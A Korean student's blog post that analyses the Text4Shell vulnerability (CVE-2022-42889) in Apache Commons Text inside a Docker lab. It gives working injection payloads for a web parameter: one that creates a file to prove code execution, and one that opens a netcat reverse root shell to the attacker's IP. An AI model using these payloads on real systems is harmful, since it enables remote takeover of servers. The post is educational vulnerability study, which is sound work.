[원데이 취약점 분석] text4shell 1-day

1mn·2022년 10월 28일
0

01.취약점 선정

이번에 분석해볼 취약점은 text4shell이다.
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-42889
꽤 최근에 발견된 취약점. 한번 분석해보자.

02.취약점 분석 & POC

먼저, 취약한 환경을 세팅하자.
https://infosecwriteups.com/text4shell-poc-cve-2022-42889-f6e9df41b3b7
이 사이트에서 많은 도움을 받았다.
먼저 도커를 이용해 취약한 환경을 우분투에 올려주고,

웹서버가 작동하는지 로컬에서 테스트해보고,

외부에서도 접근이 되는지 확인해보자.

이제 취약점이 발견된 Apache Commons Text 라이브러리를 통해 RCE를 해볼것이다.
search 파라미터에

${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

이를 urlencode로 한번 처리한 값을 파라미터에 넣는다.
만약 코드가 실행되었다면, docker 내부의 tmp 디렉터리에 foo 라는 빈 파일이 만들어질 것이다. docker 내부로 접근해 살펴보면

foo 라는 파일이 만들어진다. RCE는 성공했고, 이제 netcat 툴을 활용한 리버스 쉘을 구축해본다.

먼저 공격자의 쉘에서 리스닝 환경을 켜놓고, 다음과 같은 페이로드를 짠다.

${script:javascript:java.lang.Runtime.getRuntime().exec('nc 192.168.136.133 443 -e /bin/bash')}

이를 urlencode 해서 똑같이 search의 파라미터로 넘겨주면


다음과 같이 외부에서 root 쉘을 획득할 수 있다.

도대체 어디서 RCE가 일어나는 걸까?
먼저, 밝혀진 바로는 Apache Commons Text 라이브러리 안의 변수 보간법이라는 기능을 사용할 때 일어난다. 변수 보간법이란 문자열의 내부에서 변수를 불러올수 있는 기능인데, 여기서 변수를 불러오면서 코드 실행 환경이 만들어진다고 한다.
그래서 취약한 소스코드를 보면
interpolation(보간법) 관련된 무언가들이 있지만, 코드 해석이 안된다...
그래서 코드 실행 환경이 왜 생기는 걸까??
.
.
.
(스터디 이후에 보강 예정)

profile
정보보안 응애대학생

0개의 댓글